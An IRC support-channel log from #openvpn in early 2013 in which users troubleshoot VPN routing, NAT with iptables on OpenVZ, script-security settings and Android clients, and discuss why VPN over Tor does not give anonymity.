08:27 < spitf1r3> And I thing I just found a reason why it didn't work
08:27 < kisom> OK, I'm on 6.1, non-JB
08:27 < spitf1r3> /etc/hosts was messed up
08:27 < spitf1r3> just copied from another device, wll test now
08:28 -!- Eagleman7 [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 264 seconds]
08:32 -!- Eagleman [~Eagleman@84.107.205.159] has quit [Ping timeout: 245 seconds]
08:38 < spitf1r3> Hmm, still the same
08:38 < spitf1r3> will try another device
08:38 < kisom> OK, I've tried that specific profile on both my iPhone and my iPad, and it works on both
08:39 < kisom> Guess you're out of luck. Reinstall the iPod and I'm sure it'll work great.
08:40 < kisom> I'm gonna disable that profile now btw, I see 5 people connected from that certificate I posted :)
08:40 < spitf1r3> can you hold that profile for a few moments?
08:40 < spitf1r3> oh
08:40 < kisom> Sure
08:40 < kisom> I'll wait.
08:41 < spitf1r3> hmmm
08:41 < spitf1r3> it works
08:41 < spitf1r3> when I've restarted in 'safe mode' (without any tweaks)
08:42 < spitf1r3> wonder what causes that
08:42 < spitf1r3> okay, go on and disable that:)
08:42 < spitf1r3> Thanks for help
08:42 < kisom> np
08:43 < spitf1r3> Now if you see such problem ask (jailbroken) people to restart in (mobilesubstrate) safe mode;)
08:47 -!- mattock is now known as mattock_afk
09:05 -!- mattock_afk is now known as mattock
09:13 -!- bjh4 [~bjh4@67.87.105.111] has joined #openvpn
09:14 -!- mattock is now known as mattock_afk
09:36 -!- BtbN [~btbn@btbn.de] has quit [Ping timeout: 264 seconds]
09:38 -!- BtbN [~btbn@btbn.de] has joined #openvpn
09:52 -!- fys [~fys@108-65-116-255.lightspeed.austtx.sbcglobal.net] has quit [Ping timeout: 264 seconds]
09:55 -!- bjh4 [~bjh4@67.87.105.111] has quit [Ping timeout: 245 seconds]
09:55 -!- fys [~fys@108-65-116-255.lightspeed.austtx.sbcglobal.net] has joined #openvpn
10:06 -!- Guest32238 [~julius@141.41.92.122] has left #openvpn []
10:07 -!- julius_ [~julius@141.41.92.122] has joined #openvpn
10:07 < julius_> hi
10:07 < julius_> any hints for optimizing openvpn over tor?
10:07 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has joined #openvpn
10:08 -!- dazo is now known as dazo_afk
10:12 -!- blackmagic [~black@got.laid.using.blackmajic.org] has quit [Ping timeout: 276 seconds]
10:14 -!- blackmagic [~black@got.laid.using.blackmajic.org] has joined #openvpn
10:25 -!- julius__ [~julius@141.41.92.122] has joined #openvpn
10:25 -!- julius_ [~julius@141.41.92.122] has quit [Ping timeout: 245 seconds]
10:28 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
11:00 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
11:25 -!- fys [~fys@108-65-116-255.lightspeed.austtx.sbcglobal.net] has quit [Ping timeout: 255 seconds]
11:28 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Ping timeout: 264 seconds]
11:29 -!- fys [~fys@108-65-116-255.lightspeed.austtx.sbcglobal.net] has joined #openvpn
11:50 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
11:51 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Read error: Connection reset by peer]
11:52 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
11:55 -!- Valcorb [~Valcorb@84.198.139.192] has joined #openvpn
11:57 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 245 seconds]
11:59 -!- bandroidx [~bandroidx@2605:6400:2:fed5:4:0:414:11] has quit [Ping timeout: 245 seconds]
12:00 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
12:01 -!- bandroidx [~bandroidx@2605:6400:2:fed5:4:0:414:11] has joined #openvpn
12:05 -!- Valcorb|| [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
12:05 -!- Valcorb [~Valcorb@84.198.139.192] has quit [Ping timeout: 245 seconds]
12:13 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
12:16 -!- Valcorb|| is now known as Valcorb
12:31 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
12:32 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
12:38 -!- cirdan [~chris@c-69-248-228-142.hsd1.nj.comcast.net] has quit [Ping timeout: 248 seconds]
12:39 -!- Azrael808 [~peter@cpc17-walt12-2-0-cust657.13-2.cable.virginmedia.com] has joined #openvpn
12:39 -!- Azrael808 [~peter@cpc17-walt12-2-0-cust657.13-2.cable.virginmedia.com] has quit [Remote host closed the connection]
12:41 < bandroidx> is there a way to supress the Openvpn Requires script-security 2 line on client connect?
12:41 < bandroidx> i tried verb 0 but its still showing
12:45 -!- cirdan [~chris@c-69-248-228-142.hsd1.nj.comcast.net] has joined #openvpn
13:11 -!- madsage [sage@2001:470:c:1292::2] has joined #openvpn
13:11 < madsage> word
13:14 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
13:17 -!- frsk [fredrik@joy.frsk.net] has quit [Quit: Reconnecting]
13:17 -!- frsk [fredrik@frsk.net] has joined #openvpn
13:18 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 245 seconds]
13:19 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: leaving]
13:22 < madsage> http://pastebin.com/FLKHTm17
13:22 < madsage> anybody see anythign wrong with that?
13:23 < madsage> its not routing right. keeps handing me an ip of 10.10.253.6 and a gw of .5
13:23 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
13:23 < madsage> server uses 10.10.253.1 on tun1
13:24 < madsage> should i use ifconfig with 255.255.255.252?  i'm the only connection
13:25 < madsage> any feedback would be highly appreciated. tia
13:29 < madsage> will redirect-gateway woth with ifconfig statements? i can just staticly assign if it plays together
13:29 < madsage> woth/work
13:40 < madsage> ok.  .5 is only a virtual IP address inside the OpenVPN server, used as an endpoint for routes
13:41 < madsage> so my issue is not with the assignment address. i assume its bridged with .1 on the tun device internally
13:42 < madsage> If you know that only non-Windows clients will be connecting to your OpenVPN server, you can avoid this behavior by using the ifconfig-pool-linear directive.
13:42 < madsage> cool
13:43 < madsage> lets try that
13:54 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
14:10 < rob0> !/30
14:10 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
14:12 < rob0> madsage, ^^
14:15 < rob0> bandroidx, did you try specifying a script-security setting in your config? If 'verb 0' didn't work, and that doesn't work either, your choices are to grep -v your logs such as not to see it, or to close your eyes and ignore it. :)
14:16 -!- novaflash is now known as novaflash_away
14:16 < bandroidx> LOL if it was me I wouldnt care, but i have ppl who use the server who keep telling me "it gives me an error!"
14:16 < bandroidx> lol
14:16 < bandroidx> speaking of script security that reminds me, i have a clientconnect.sh script that it runs and it wont work unless i set script-security 2 system
14:16 < bandroidx> it requires the system
14:16 < bandroidx> my guess is because it runs sqlite3 from the script
14:17 < bandroidx> i am just concerned because they say system call is deprecated
14:18 < rob0> iirc the warning about script-security is for backward compatibility with the changed setting. Older openvpn did not have that.
14:18 < bandroidx> so its safe to leave "system" ?
14:18 < rob0> "safe" is subjective, I cannot possibly guess.
14:19 < bandroidx> well i guess i dont have a choice
14:19 < rob0> See --script-security in the man page and decide what you want.
14:19 < bandroidx> i did
14:19 < bandroidx> thats where i read about it being deprecated
14:19 -!- deed02392 [~deed02392@ks353738.kimsufi.com] has quit [Remote host closed the connection]
14:19 -!- novaflash_away is now known as novaflash
14:19 < bandroidx> based on what i read i prefer to NOT use it, but it seems I don't have a choice
14:20 < bandroidx> its no biggie the server is locked down
14:21 < bandroidx> i dont see a way anyone could inject into that script
14:21 < bandroidx> so i think system is safe to use
14:21 < madsage> rob0, thanks yeah i figured that out. was even trying to make my own /30 it didnt like it in server mode
14:21 < rob0> right, it seems unlikely to me also
14:21 < bandroidx> any idea if there is a way to tell openvpn to use multiple tunnels for a connection?
14:22 < bandroidx> i am connecting to a server overseas with bad peering and the only way to max out the connection is to use multiple connections
14:22 < bandroidx> like if I ftp file normally I get 1MB/s with a single transfer but if i set the client to download 6 files at once I get 6MB/s
14:22 < madsage> but, yeah i also enabled ifconfig-pool-linear helped some of my other routing i was trying to do
14:22 < bandroidx> i thought perhaps using multiple tunnels would simulate the same effect
14:23 < rob0> You can run as many instances as you want, I guess. The trick (and this is a question for your OS) is to load balance the traffic among the different tunnel IP addresses.
14:23 < bandroidx> i was hoping there was a way to do it with a single connection
14:23 < bandroidx> i didnt think so though
14:24 < bandroidx> like a magical --tunnelsperconnection argument :)
14:24 < madsage> rob0, is there a limit or ceiling per connection?
14:25 < madsage> or it varried per hardware and network variables
14:25 < madsage> varries
14:25 < rob0> right, varies
14:26 < rob0> Sometimes the lack of multi-threading can be an issue. Your openvpn process is stuck on one core/CPU, can't distribute the load via SMP threading.
14:26 < madsage> speaking of that. do you know of any linux kernel tuning that may help? like for buffers rcv/tx etc?
14:27 < madsage> or maybe kernel tick timing could help?
14:27 < rob0> (Multi-threading is something the developer folk have been planning to work on in the next version.)
14:27 < rob0> dunno
14:27 < madsage> rob0, yeah heard that. would be awesome
14:28 < madsage> especialy with all the new arm processors with multicores but not much power on single thread
14:34 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 240 seconds]
14:34 -!- Devastator [~devas@177.99.152.211] has joined #openvpn
14:34 -!- Devastator [~devas@177.99.152.211] has quit [Read error: Connection reset by peer]
14:36 -!- Devastator [~devas@177.99.152.211] has joined #openvpn
14:39 -!- mode/#openvpn [+v pekster] by ChanServ
15:03 < madsage> sweet everything is working now. updated both sides with 2.3.0 as well
15:03 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Textual IRC Client: http://www.textualapp.com/]
15:04 < madsage> peace out and later krazee
15:04 -!- madsage [sage@2001:470:c:1292::2] has quit [Quit: BitchX: it's wax ecstatic]
15:05 -!- cornfeedhobo [~cornfeedh@unaffiliated/cornfeed] has joined #openvpn
15:22 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
15:26 -!- shadoom [~shadoom@91-65-183-58-dynip.superkabel.de] has joined #openvpn
15:40 -!- brute11k [~brute11k@89.249.230.122] has quit [Quit: Leaving.]
15:45 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
15:49 -!- deed02392 [~deed02392@ks353738.kimsufi.com] has joined #openvpn
16:05 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Read error: Connection reset by peer]
16:07 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has quit [Quit: Leaving]
16:47 -!- defsdoor [~andy@cpc17-sutt4-2-0-cust175.perr.cable.virginmedia.com] has quit [Quit: Ex-Chat]
16:55 -!- cornfeedhobo [~cornfeedh@unaffiliated/cornfeed] has left #openvpn ["Once you know what it is you want to be true, instinct is a very useful device for enabling you to know that it is"]
17:00 -!- zz_AsadH is now known as AsadH
17:03 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has joined #openvpn
17:32 -!- Vorik [~quassel@D97950AD.cm-3-2b.dynamic.ziggo.nl] has quit [Ping timeout: 245 seconds]
17:36 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 246 seconds]
17:48 -!- mythos [~mythos@unaffiliated/mythos] has quit [Remote host closed the connection]
17:49 -!- Vorik [~quassel@D97950AD.cm-3-2b.dynamic.ziggo.nl] has joined #openvpn
18:59 -!- shadoom [~shadoom@91-65-183-58-dynip.superkabel.de] has quit []
19:21 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
19:21 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
19:21 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
19:21 -!- mode/#openvpn [+o krzee] by ChanServ
19:26 -!- AsadH is now known as zz_AsadH
19:54 < julius__> any hints on getting openvpn work over tor?
19:57 < uberushaximus> are you sure you don't want to do it the other way around?
19:58 < uberushaximus>  it'll be hard to sustain openvpn over tor
19:59 < julius__> sure, i want a anonymous secure connection
19:59 < julius__> to another host
19:59 < julius__> which can be used by my host as a router
20:00 < julius__> havent found much online, are there options for high latency links?
20:00 <+pekster> VPN's aren't anonymous, FYI
20:00 <+pekster> They're the exact opposite of annonymous
20:01 <+pekster> You will very "annonymously" connect to the VPN server, where you will then provide a certificate or user/pass that uniquely identifies you as the source of the connections to that server. I don't see the point.
20:03 < julius__> just want to play around with it
20:04 < julius__> youre right, this one could kill all the anonymity
20:06 <+pekster> Not "could." "Does."
20:14 < julius__> so its a certainty in your world that you cant pay for a vpn endpoint without your name?
20:16 <+pekster> You still identify yourself. However that is established at the VPN provider. Maybe it's simply "User 52567" or such. But it still is unique to your connection. Not *you* specifically, but the VPN credentials are what I refer to.
20:23 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 248 seconds]
20:29 < julius__> what if you pay with cash for a vps?
20:31 <+pekster> So what? You still get a certificate or user to auth with
20:35 < julius__> yes but you set your own openvpn server up
20:35 < julius__> isnt the connection secured even before the vpn is setup when the credentials are transfered?
20:38 <+pekster> Nope. X509 certs are sent in DER-encoded plaintext
20:38 < julius__> ok, didnt know that
20:39 <+pekster> Plus the provider may be legally compelled to keep logs, even if they "claim" they don't
20:39 < julius__> logs of what?
20:39 <+pekster> Your connection. See --log, --log-append, --syslog, and/or --daemon in the openvpn manpages
20:39 < julius__> the connection ip is from some tor node
20:40 <+pekster> That tie the credentials YOU used
20:40 <+pekster> Say that computer is picked up in a police raid. You have that private key that prooves that connection was initiated from *that* computer. Annonyminity busted.
20:40 <+pekster> Naturally, you don't have this problem using tor only, or first a VPN then tor.
20:41 <+pekster> This is pretty well-known in the tor community.
20:41 <+pekster> There's a popular set of slides that has a great way to remember this during his presentation. "Tor over VPN: OK. VPN over Tor: go to jail." Pretty straight forward, no?
20:43 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
20:45 < julius__> but ssh does transfer the login credential securely right?
20:56 <+pekster> Public components are always visible over the wire. Anything after a DH-handshake isn't. I'm sure wikipedia and other sites do a better job than I can at explaining TLS handshakes.
20:57 < julius__> ok
20:58 < julius__> but how is someone supposed to tie a x509 certificate back to you if the connection goes through tor?
20:59 <+pekster> Traffic analysis. Or use of any identifying details in the cert. Or compelling you to give up the hardware with your private key (or stealing it.) Probably other ways too.
21:00 < julius__> ok details in the cert would be bad
21:01 < julius__> but as far as i understand tor you cant just easily say that some connection comes from some host
21:01 <+pekster> And if you believe that providers are never served warrants that require them (legally) to tie a connection to a specific certificate/user/sourceIP, then you go on continuing to believe that.
21:02 <+pekster> I can't fix that kind of willful choice to ignore how laws & warrants work. I can explain how they techncially use that info to "out" people who think a VPN can protect them when they do things that a government may consider illegal.
21:03 -!- JPeterson [~JPeterson@s213-103-211-4.cust.tele2.se] has quit [Ping timeout: 248 seconds]
21:09 < julius__> i know that they are
21:10 < julius__> hidemyassvpn did this for example, even if they did say they wouldnt. but since its a us company they are bound by law
21:10 < julius__> im more interrested in how
21:11 < julius__> pekster, have to sleep now. are you on tomorrow?
21:11 < julius__> n8
21:16 -!- julius__ [~julius@141.41.92.122] has quit [Ping timeout: 256 seconds]
21:32 -!- danharibo [~dan@razor-studios.co.uk] has joined #openvpn
21:32 < danharibo> hi, anyone about?
21:33 < danharibo> I'm getting this when trying to start my VPN client https://gist.github.com/b6e025748040a97dd040
21:33 <@vpnHelper> Title: gist:b6e025748040a97dd040 (at gist.github.com)
21:33 < danharibo> any idea where to start looking?
21:33 <+pekster> Missing tun support in your kernel it would appear
21:34 < danharibo> ooh wait I think I know why it's not working
21:34 < danharibo> I should restart after -Syu'ing
21:49 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
21:56 -!- corretico [~luis@190.211.93.38] has joined #openvpn
22:30 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
22:39 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
23:06 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
23:06 -!- Tabrenus [~Tabrenus@213.211.132.86.static.edpnet.net] has joined #openvpn
23:27 -!- mnathani [~zee@198-84-231-11.cpe.teksavvy.com] has quit [Ping timeout: 276 seconds]
23:28 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
--- Day changed Mon Feb 04 2013
00:02 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Read error: Operation timed out]
00:04 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
00:38 < danharibo> Is enable GatewayPorts disouraged?
00:38 < danharibo> enabling*
00:39 <@krzee> whats GatewayPorts?  thats not part of openvpn that i know of...
00:39 <+pekster> openssh option
00:39 <@krzee> ahh
00:45 <+pekster> Depends on usecase danharibo. Enable it if you need it, don't if you don't. It's like asking if you should open a port in your firewall for a LAN client.
00:46 < danharibo> fair enough
00:46  * krzee doublechecks where he is
00:46 < danharibo> yeah sorry I have openssh and openvpn open sequentially
00:46 <@krzee> ;]
00:46 <@krzee> np tho, nobody else is here talking anyways
00:46 <@krzee> but if you ask about the meaning of life, only answer ill give is 42
00:47 < danharibo> heh
00:47 <+pekster> No, no, that's "Life, the Universe, and Everything."
00:47 <+pekster> Well, maybe. We never found out what the question was, exactly :P
01:00 -!- Pei [pei@2600:3c00::f03c:91ff:feae:5e2d] has joined #openvpn
01:05 < Pei> Hi, i've got a OpenVPN running on my main server, My windows client connects fine and I can browse the web, connect to irc, basically use the internet. I have copied the /etc/openvpn exactly on another server, change the remote ip address in the windows config file, and connect. The client connects to the OpenVPN server on the new server, assigns an IP address, but I can't connect anywhere
01:05 < Pei> but the server openvpn is running on. iptables -L shows no firewall rules. Server is fresh install not 2 hours old.
01:06 < Pei> using Debian 6
01:06 <@krzee> iptables -L -t nat
01:07 <@krzee> on both servers
01:07 <@krzee> oh wait, even better
01:07 <@krzee> !redirect
01:07 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
01:07 <@vpnHelper> http://ircpimps.org/redirect.png
01:07 <@krzee> see the flowchart =]
01:08 < Pei> MASQUERADE all -- anywhere anywhere
01:08 < Pei> ^^^^^ is missing on new server
01:08 <+pekster> iptables -L is fundamentally broken. Use 'iptables-save' to dump rules
01:08 < nutcase> Whats the easiest way to daisy chain some vpns together?
01:08 <@krzee> im not asking to see it, im pointing it out to you
01:08 <@krzee> nutcase, by understanding this page VERY VERY well
01:08 <@krzee> !route
01:08 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide
01:08  * nutcase starts reading
01:09 < Pei> !nat
01:09 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
01:09 <@krzee> you wanted
01:09 <@krzee> !linnat
01:09 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
01:11 < nutcase> krzee have you ever tried to use openvpn on an android device?
01:11 < nutcase> !android
01:11 <@vpnHelper> "android" is (#1) an open source OpenVPN client for ICS is available in Google Play, look for OpenVPN for Android. FAQ is here: http://code.google.com/p/ics-openvpn/wiki/FAQ or (#2) If running cyanogenmod, openvpn and busybox are already installed for you! or (#3) If you do not have cyanogenmod or ICS, but your device is rooted, you can use android-openvpn-installer and openvpn-settings from the
01:11 <@vpnHelper> market
01:11 <@krzee> nutcase, yep
01:11 < nutcase> There is a better OpenVPN client
01:12 <@krzee> was that a question?
01:12 <+pekster> Crazy (verry sill and non-sensical) chaining setup: http://fpaste.org/jRhL/
01:12 < nutcase> https://play.google.com/store/apps/details?id=de.blinkt.openvpn&hl=en
01:12 <@vpnHelper> Title: OpenVPN for Android - Android Apps on Google Play (at play.google.com)
01:12 <+pekster> silly*
01:12 < nutcase> I never was able to config it to work
01:12 <@krzee> nutcase, you using ICS / JB?
01:12 < nutcase> JB
01:12 <@krzee> get a config that works in other os, like linux
01:12 <@krzee> then import it
01:13 <@krzee> it just works!
01:13 < Pei> when i do iptables -t nat -A POSTROUTING -s 10.1.10.0/24 -o venet0:0 -j MASQUERADE
01:13 < Pei> iptables: No chain/target/match by that name.
01:13 < Pei> i get that
01:13 < nutcase> lol alright I will mess with it again later
01:13 <@krzee> Pei,
01:13 <@krzee> !openvznat
01:13 <@vpnHelper> "openvznat" is (#1) a user reported success with this command: iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -j SNAT --to <PUBLIC-IP> or (#2) someone else got it working with: iptables -t nat -A POSTROUTING -s <vpn_subnet>/<netmask> -o eth<public> -j SNAT --to <public ip>
01:13 <@krzee> you are in a virtual machine, im guessing openvz, amiright?
01:13 < Pei> yes
01:13 <@krzee> cool, there ya go =]
01:14 < Pei> okay thanks
01:14 <@krzee> np
01:14 <@krzee> nutcase, there is also another android app, but ive never used it
01:14 <+pekster> You're missing the listed chain, target, or match support in your kernel. Possibly MASQUERADE, although in theory it could be nat support too. Probably not the chain, since nat table support implicitly includes the 3 standard chains
01:14 <@krzee> i really really like the app you linked me to
01:15 <@krzee> pekster, known openvz thing
01:15 < nutcase> yeah krzee thats the one I was talking about :)
01:15 < Pei> here goes nothin
01:15 <+pekster> krzee: Yes, I know. Some providers *also* don't include the right modules for OpenVZ containers
01:15 < nutcase> I read some guides a while ago and they suggested using that one over the actual openvpn client because this one works better
01:16 <+pekster> BSD-licensed too, that's nice
01:16 <@krzee> nutcase, this version was released by an active openvpn community developer and is open source, the other was by openvpn technologies and is not open source
01:16 < nutcase> ah
01:17 <@krzee> i have no plans on playing with the closed source version
01:17 < nutcase> https://play.google.com/store/apps/details?id=net.openvpn.openvpn
01:17 <@vpnHelper> Title: OpenVPN Connect - Android Apps on Google Play (at play.google.com)
01:17 < nutcase> Thats the closed source version?
01:17 <@krzee> yes
01:18 < nutcase> Yeah that one is buggy in my experience and from what I have read of other peoples experinces
01:18 <@krzee> makes sense that it could be buggier at first, it was a full re-code in a different language
01:19 <@krzee> whereas the opensource version is basically the same ol opensource code you're running on linux
01:19 < nutcase> yeah
01:19 < nutcase> Does MIUI come with openvpn already installed like CM?
01:19 <@krzee> they had to do the re-code if i understood right, to get accepted to Itunes store for IOS
01:20 <@krzee> no idea, i use CM
01:20 <@krzee> ask MIUI
01:20 < nutcase> What device?
01:20 < nutcase> there isnt a miui channel on this server lol
01:20 <+pekster> How's that non-free one work with the GPL-status of OpenVPN? Is *all* the code there really dual-licensed by "OpenVPN Technologies" from every committer?
01:20 <@krzee> *shrug*
01:20 < Pei> HAH
01:21 < Pei> thank you soooooooo much
01:21 <@krzee> pekster, full re-code
01:21 <+pekster> I mean, I don't really expect the small-ish patches I've submitted to be given special licensing status, but I've submitted 4 or 5 patches over the years that have been merged. I signed no agreement
01:21 <@krzee> oh wait
01:21 <+pekster> Ah, okay
01:21 <@krzee> you mean access-server?
01:21 <+pekster> No, the 'droid code
01:21 <@krzee> ahh ok, yes full recode
01:21 <+pekster> Weird :\
01:21 < Pei> iptables -t nat -A POSTROUTING -s 10.2.10.0/24 -j SNAT --to 198.23.248.15 <--- that one did the trick
01:22 <@krzee> not so weird
01:22 <@krzee> apples fault
01:22 <@krzee> <krzee> they had to do the re-code if i understood right, to get accepted to Itunes store for IOS
01:22 <@krzee> itunes store is incompat with gpl from my understanding
01:22 <@krzee> itunes apps arent allowed to be opensource if i understood
01:22 < nutcase> apple sucks
01:22 <@krzee> (i may have only understood 1/2 way)
01:23 <@krzee> nutcase, my currently owned devices are here: http://forum.xda-developers.com/member.php?u=2820309
01:23 < nutcase> ah
01:23 < Pei> so, lame question but i iptables absolutely terrifies me.... what's the best way to apply that rule everytime the machine boots
01:24 < Pei> on debian
01:24 <@krzee> Pei, #debian
01:24 < nutcase> woah my user number on xda is low
01:24 < Pei> aww come on buds ;)'
01:24 <@krzee> if you asked about freebsd ild tell you, im not googling debian crap :-p
01:25 <+pekster> That's an OS-level knob; for all I (maybe "we") care, write your own initscript (Gentoo has a very nice init script for iptables/netfilter. AFAIK debian does not.)
01:25 <@krzee> damn 2006, nice
01:25 <+pekster> I've hooked into the pre-up feature of debian before, but I'm not sure that's the "proper" way to do it in debian. I just got annoyed when docs suggested I use ufw, so I wrote my own code on my AWS Ubuntu server
01:26 < nutcase> heh I've been around for a while :P
01:26  * pekster doesn't touch tools like ufw or shorewall
01:27 < Devastator> according to debian wiki, if-pre-up.d is the right place to put a ruleset
01:28 <+pekster> Apparenlty that's what I did
01:29 <+pekster> I named an 05iptables script there that does some magic and ultimately calls iptables-restore if I deem it necessary
01:29 < Devastator> yes, like "The perfect ruleset" doc says..
01:30 <+pekster> http://fpaste.org/OoRh/ if you want some ideas
01:30 <+pekster> I just cooked that up to meet my needs, so edit to taste
01:32 <@krzee> time for me to sleep(8)
01:32 <@krzee> goodnight
01:32 < Devastator> night krzee
01:38 -!- Tabrenus [~Tabrenus@213.211.132.86.static.edpnet.net] has quit [Quit: Tabrenus]
02:36 -!- mattock_afk is now known as mattock
03:04 -!- kobolduk [~kobolduk@office.prolocation.net] has joined #openvpn
03:15 -!- zrzerenato [~zrzerenat@189-015-215-072.xd-dynamic.ctbcnetsuper.com.br] has joined #openvpn
03:15 < zrzerenato> hi every one..
03:16 < zrzerenato> im getting error with the system clock to sync with VPN. can someone help please?
03:17 -!- brute11k [~brute11k@89.249.230.122] has joined #openvpn
03:18 < zrzerenato> i believe, someone at my job restart the system pushing the power buttom, and all the system time is crazy, so now i cannot connect throgh VPN
03:23 <+EugeneKay> man ntp
03:24 <+EugeneKay> And buy a new server, because if the BIOS battery is dead you're using antique hardware.
03:25 -!- zrzerenato [~zrzerenat@189-015-215-072.xd-dynamic.ctbcnetsuper.com.br] has quit [Read error: Connection reset by peer]
03:25 -!- zrzerenato [~zrzerenat@189-015-215-072.xd-dynamic.ctbcnetsuper.com.br] has joined #openvpn
03:27 -!- Porkepix [~Porkepix@157.138.188.104] has joined #openvpn
03:28 -!- zrzerenato [~zrzerenat@189-015-215-072.xd-dynamic.ctbcnetsuper.com.br] has quit [Client Quit]
03:29 -!- Sickness\ [~stront@unaffiliated/s-work] has quit [Read error: Operation timed out]
03:50 -!- Porkepix [~Porkepix@157.138.188.104] has quit [Quit: Computer has gone to sleep.]
04:05 -!- zz_AsadH is now known as AsadH
04:19 -!- mode/#openvpn [-v pekster] by ChanServ
04:19 -!- mode/#openvpn [-v pekster] by ChanServ
04:20 < pekster> Laggy chanserv :\
04:34 -!- MarKsaitis [~MarKsaiti@81.101.81.114] has joined #openvpn
04:35 < sam1> hm, what could be the problem if openvpn pushes gateway 0.0.0.0 for destination 0.0.0.0? I'm checking the routing table on the client.. If I add redirect-gateway directive, there will be an gateway address for destination 0.0.0.0
04:36 < sam1> I'm using openvpn with bridging
04:44 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Read error: Operation timed out]
04:51 < kisom> sam1: Are you sure openvpn is pushing it? Enable verb 7 and check everything that is being pushed
05:00 < sam1> kisom: Mon Feb  4 11:58:11 2013 us=125344 client1/remote-ip:55532 SENT CONTROL [client1]: 'PUSH_REPLY,dhcp-option DNS 10.10.66.1,dhcp-option DOMAIN DERP,route-gateway 10.10.66.7,ping 10,ping-restart 120,ifconfig 10.10.66.201 255.255.255.0' (status=1)
05:00 < sam1> kisom: seems so.
05:09 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 245 seconds]
05:14 < sam1> kisom: but I don't see anything regarding the gateway on client side. I see something that is quite wierd though "<info> Inernal IP4 Point-To-Point Address: 0.0.0.0"
05:22 -!- brute11k1 [~brute11k@89.249.231.171] has joined #openvpn
05:22 -!- brute11k [~brute11k@89.249.230.122] has quit [Read error: Operation timed out]
